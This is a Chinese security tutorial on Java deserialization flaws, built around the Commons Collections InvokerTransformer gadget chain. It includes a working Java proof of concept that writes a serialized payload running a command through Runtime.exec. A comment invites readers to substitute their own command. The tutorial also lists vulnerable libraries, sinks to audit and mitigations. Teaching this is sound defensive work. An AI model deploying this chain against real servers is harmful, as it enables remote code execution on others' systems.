java反序列化
分享一个java安全的知识库https://javasec.org/javase/
基础知识
序列化是当我们需要保存某一刻某个对象的信息,来进行一些操作。比如利用反序列化将程序运行的对象状态以二进制形式储存与文件系统中,然后可以在另一个程序中对序列化后的对象状态数据进行反序列化恢复对象。可以有效地实现多平台之间的通信、对象持久化存储。
序列化场景:
1.当你想把的内存中的对象保存到一个文件中或者数据库中时候;
2.当你想用套接字在网络上传送对象的时候;
3.当你想通过RMI传输对象的时候等等。
实现序列化条件:
1.该类必须实现 java.io.Serializable 接口。
2.该类的所有属性必须是可序列化的。
图中类实现类序列化接口。
反序列化漏洞
这里直接用一个比较经典的利用链来理解反序列化漏洞-Commons Collections Java反序列化漏洞
漏洞的利用链在Apache Commons Collections库org.apache.commons.collections.functors.InvokerTransformer
具体的链调用流程可以参考网上,如Java反序列化漏洞-玄铁重剑之CommonsCollection系列
我们自己调试demo
package com.serialtest;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
// 用到的commons.collections包
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class exp {
public static void main(String args[]) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {
null, new Object[0] }), // 执行calc.exe,把这里改成自己要执行的命令即可;服务器是linux就以成linux命令
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"open /System/Applications/Calculator.app"})
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map<String,String> beforeTransformerMap = new HashMap<String,String>();
beforeTransformerMap.put("value", "value");
Map afterTransformerMap = TransformedMap.decorate(beforeTransformerMap, null, transformedChain);
// SerObjRewrite中的setValue能触发afterTransformerMap中的代码的执行
SerObjRewrite serObj = new SerObjRewrite();
serObj.map = afterTransformerMap;
// 将对象写入到object.ser
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(serObj);
oos.close();
}
}
// 重写SerObj类,其实也不叫重写就随便新实现一个序例化类,重写序列化类的readObject方法,该方法在反序列化时会被自动调用
// 在readObject中调用setValue,setValue能触发注入代码的调用,这正是代码注入的关键
class SerObjRewrite implements Serializable {
// name可有可无,又不是真重写
public String name="testname";
public Map map;
private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException , IOException {
in.defaultReadObject();
if(map != null){
Map.Entry e = (Map.Entry)map.entrySet().iterator().next();
e.setValue("400m");
}
}
}
这里,我有一个实现了序列化接口的类SerObjRewrite,该类重写了readObject方法,即在反序列化该类时,不仅会调用原始的反序列化流defaultReadObject(),还会实现我们自定义的操作
Map.Entry e = (Map.Entry)map.entrySet().iterator().next();
e.setValue(“400m”);
这里我们运行代码,会生成存有反序列化数据payload的文件,这里把构造的利用链当作参数传给TransformedMap实例afterTransformerMap,然后再赋值给SerObjRewrite类的map参数。
生成了payload,但是在实际应用中,我们是如何传入可控触发点进而利用点呢。
这里写了一个对文件的反序列化操作
package com.serialtest;
import java.io.*;
import org.apache.commons.collections.*;
public class str_serial {
public static void main(String[] args) throws Exception {
testSerialString();
}
public static void testSerialString() throws IOException {
String name = "Karen Aya";
Person p = new Person("test",10);
System.out.println(p.getName());
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("stringSerial.txt"));
oos.writeObject(p);
oos.close();
System.out.println("ok");
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
try {
Object obj =ois.readObject();
System.out.println("---");
System.out.println(obj);
System.out.println("---");
System.out.println(ois);
}
catch (Exception e){
e.printStackTrace();
}
ois.close();
}
}
这里对object.ser的反序列化,就可以理解为可控点——攻击者传入的恶意数据。
运行,成功弹出计算器。
这里的大致流程:
反序列化文件->文件中的SerObjRewrite类->调用SerObjRewrite类的readObject方法->map方法的setvalue->afterTransformerMap触发构造好的利用链
这里,SerObjRewrite类是我们自己写的,万一应用中没有这个类呢?
这时,我们就需要找漏洞触发点,这里是map的setvalue,其实,jdk包有个AnnotationInvocationHandler类,该类重写readObject,且有setvalue方法。如果开发人员用了Apache Commons Collections基础类,切jdk<1.8可谓是通杀。
这里就不再演示了,我们来看看jdk1.8是如何修复的:
jdk1.8把setvalue用=替代了。
反序列化漏洞挖掘
首先是一些危险基础库:
commons-fileupload 1.3.1
commons-io 2.4
commons-collections 3.1
commons-logging 1.2
commons-beanutils 1.9.2
org.slf4j:slf4j-api 1.7.21
com.mchange:mchange-commons-java 0.2.11
org.apache.commons:commons-collections 4.0
com.mchange:c3p0 0.9.5.2
org.beanshell:bsh 2.0b5
org.codehaus.groovy:groovy 2.3.9
org.springframework:spring-aop 4.1.4.RELEASE
白盒:
反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘、或DB存储等业务场景。
搜索以下函数:
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject
找到反序列化输入点后,再找有没有危险函数可利用链(配合ysoserial)
黑盒:
在黑盒测试中并不清楚对方的代码架构,但仍然可以通过分析十六进制数据块,锁定某些存在漏洞的通用基础库(比如Apache Commons Collection)的调用地点,并进行数据替换,从而实现利用。
在实战过程中,我们可以通过抓包来检测请求中可能存在的序列化数据。
序列化数据通常以AC ED开始,之后的两个字节是版本号,版本号一般是00 05但在某些情况下可能是更高的数字。
修复
1.使用ObjectInputFilter来校验反序列化的类
Java 9包含了支持序列化数据过滤的新特性,开发人员也可以继承java.io.ObjectInputFilter类重写checkInput方法实现自定义的过滤器,,并使用ObjectInputStream对象的setObjectInputFilter设置过滤器来实现反序列化类白/黑名单控制。
2.禁止JVM执行外部命令Runtime.exec;
3.不建议使用的黑名单,参考contrast-rO0、 ysoserial中paylaod包含的类。
总结
反序列化漏洞实现:
1.有一个可序列化的类,并且该类是重写了readObject()方法的。(主线流程,反序列化漏洞都是这个主线逻辑流程)
2.在重写的readObject()方法的逻辑中有
直接或间接使用类似method.invoke这种可以执行调用任意方法的函数(文中是通过setvalue触发的链中的method.invoke执行),而且参数可控。(是否还有其他函数可以达到相同的目的呢?)
参考:https://www.cnblogs.com/Fluorescence-tjy/p/11222052.html
https://security.tencent.com/index.php/blog/msg/97
http://www.polaris-lab.com/index.php/archives/450/